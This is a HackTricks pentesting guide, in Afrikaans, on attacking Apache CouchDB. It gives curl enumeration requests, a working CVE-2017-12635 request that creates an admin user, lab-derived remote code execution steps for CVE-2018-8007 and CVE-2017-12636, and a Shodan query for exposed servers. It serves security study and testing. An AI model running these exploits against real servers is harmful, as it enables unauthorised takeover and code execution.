5984,6984 - Pentesting CouchDB

Reading time: 13 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

CouchDB is 'n veelsydige en kragtige dokument-georiënteerde databasis wat data organiseer met 'n sleutel-waarde kaart struktuur binne elke dokument. Velde binne die dokument kan voorgestel word as sleutel/waarde pare, lyste, of kaarte, wat buigsaamheid in data stoor en onttrekking bied.

Elke dokument wat in CouchDB gestoor word, word aan 'n unieke identifiseerder (_id) op die dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, aan 'n hervisienommer (_rev) toegeken. Hierdie hervisienommer maak doeltreffende opsporing en bestuur van veranderinge moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik.

Standaard poort: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Outomatiese Enumerasie

bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Handmatige Enumerasie

curl http://IP:5984/

Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord behoort soos een van die volgende te lyk:

bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

note

Let daarop dat as jy toegang tot die wortel van couchdb verkry, jy 'n 401 Unauthorized ontvang met iets soos: {"error":"unauthorized","reason":"Authentication required."} jy sal nie in staat wees om die banner of enige ander eindpunt te bekom nie.

Info Enumerasie

Dit is die eindpunte waar jy toegang kan verkry met 'n GET versoek en 'n paar interessante inligting kan onttrek. Jy kan meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind.

  • /_active_tasks Lys van lopende take, insluitend die taak tipe, naam, status en proses ID.
  • /_all_dbs Retourneer 'n lys van al die databasisse in die CouchDB instansie.
  • **/_cluster_setup**Retourneer die status van die node of kluster, volgens die kluster opstelling wizard.
  • /_db_updates Retourneer 'n lys van al die databasis gebeurtenisse in die CouchDB instansie. Die bestaan van die _global_changes databasis is vereis om hierdie eindpunt te gebruik.
  • /_membership Vertoon die nodes wat deel is van die kluster as cluster_nodes. Die veld all_nodes vertoon al die nodes waarvan hierdie node weet, insluitend die wat deel is van die kluster.
  • /_scheduler/jobs Lys van replikaasietake. Elke taak beskrywing sal bron en teiken inligting insluit, replikaasie id, 'n geskiedenis van onlangse gebeurtenisse, en 'n paar ander dinge.
  • /_scheduler/docs Lys van replikaasie dokument toestande. Sluit inligting in oor al die dokumente, selfs in completed en failed toestande. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Die /_node/{node-name} eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk te bevestig. Dit is die nuttigste wanneer jy toegang tot /_node/_local verkry om hierdie inligting te verkry.
  • /_node/{node-name}/_stats Die _stats hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string _local dien as 'n alias vir die plaaslike node naam, so vir al die stats URL's, kan {node-name} vervang word met _local, om met die plaaslike node se statistieke te kommunikeer.
  • /_node/{node-name}/_system Die _systemhulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan ___local as {node-name} gebruik om huidige node inligting te verkry.
  • /_node/{node-name}/_restart
  • /_up Bevestig dat die bediener aan is, loop, en gereed is om op versoeke te reageer. As maintenance_mode true of nolb is, sal die eindpunt 'n 404 antwoord teruggee.
  • **/_uuids**Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie.
  • **/_reshard**Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster.

Meer interessante inligting kan onttrek word soos hier verduidelik: https://lzone.de/cheat-sheet/CouchDB

Databasis Lys

curl -X GET http://IP:5984/_all_dbs

As die versoek met 'n 401 ongeoorloofde antwoord, dan het jy geldige akrediteer nodig om toegang tot die databasis te verkry:

curl -X GET http://user:password@IP:5984/_all_dbs

Om geldige Kredensiale te vind, kan jy probeer om die diens te bruteforce.

Dit is 'n voorbeeld van 'n couchdb antwoord wanneer jy genoeg voorregte het om databasisse te lys (Dit is net 'n lys van dbs):

bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Databasis Inligting

Jy kan 'n paar databasisinligting verkry (soos die aantal lêers en groottes) deur toegang te verkry tot die databasisnaam:

bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Dokumentlys

Lys elke inskrywing binne 'n databasis

bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Lees Dokument

Lees die inhoud van 'n dokument binne 'n databasis:

bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Dankie aan die verskille tussen Erlang en JavaScript JSON parsers kan jy 'n admin gebruiker skep met die geloofsbriewe hacktricks:hacktricks met die volgende versoek:

bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Meer inligting oor hierdie kwesbaarheid hier.

CouchDB RCE

Erlang Koekie Sekuriteit Oorsig

Voorbeeld van hier.

In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref (link), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in standalone modus, poort 5984 gebruik word. Boonop is poort 5986 vir node-lokale API's, en belangrik, Erlang vereis TCP poort 4369 vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is.

'n Belangrike sekuriteitsadvies word beklemtoon rakende poort 4369. As hierdie poort oor die Internet of enige onbetroubare netwerk toeganklik gemaak word, hang die stelselsekuriteit sterk af van 'n unieke identifiseerder bekend as die "koekie." Hierdie koekie dien as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys, kan die koekie met die naam "monster" waargeneem word, wat sy operasionele rol in die stelselsekuriteitsraamwerk aandui.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels uitgebuit kan word, is daar 'n toegewyde afdeling beskikbaar vir verdere lees. Dit beskryf die metodologieë om Erlang-cookies op ongeoorloofde maniere te benut om beheer oor stelsels te verkry. U kan die gedetailleerde gids oor die misbruik van Erlang-cookies vir RCE hier verken.

Exploiteer CVE-2018-8007 deur die aanpassing van local.ini

Voorbeeld van hier.

'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skryfrechten tot die local.ini-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is aanpassings gemaak om skryfrechten aan die local.ini-lêer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer.

Eerstens, die omgewing word voorberei deur te verseker dat die local.ini-lêer skryfbaar is, wat geverifieer word deur die regte te lys:

bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die cors/origins konfigurasie in local.ini teiken. Dit voeg 'n nuwe oorsprong saam met addisionele opdragte onder die [os_daemons] afdeling in, met die doel om arbitrêre kode uit te voer:

bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Subsequent verification shows the injected configuration in local.ini, contrasting it with a backup to highlight the changes:

bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Aanvanklik bestaan die verwagte lêer (/tmp/0xdf) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer:

bash
root@canape:/home/homer/bin# ps aux | grep couch

Deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespotte opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lêer:

bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryfbare toegang tot die local.ini-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids om die uitbuiting in 'n beheerde omgewing te herhaal.

Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: CVE-2018-8007.

Verkenning van CVE-2017-12636 met Skryftoestemmings op local.ini

Voorbeeld van hier.

'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad:

bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Om CouchDB weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:

bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is gekonfronteer met toestemming-verwante foute, soos aangedui deur die volgende uitvoer:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Verdere ondersoek het toestemmingkwessies met die local.ini lêer, wat nie skryfbaar was nie. Deur die lêer se toestemmings met root of homer toegang te wysig, het dit moontlik geword om voort te gaan:

bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Subsequent pogings om die query server by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die local.ini lêer is bevestig deur lêervergelyking:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer via 'n pasgemaakte weergawe wat na die nuut bygevoegde navraagbediener kaart.

bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

'n samevatting met 'n alternatiewe payload bied verdere insigte in die ontginning van CVE-2017-12636 onder spesifieke omstandighede. Nuttige hulpbronne vir die ontginning van hierdie kwesbaarheid sluit in:

Shodan

  • port:5984 couchdb

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks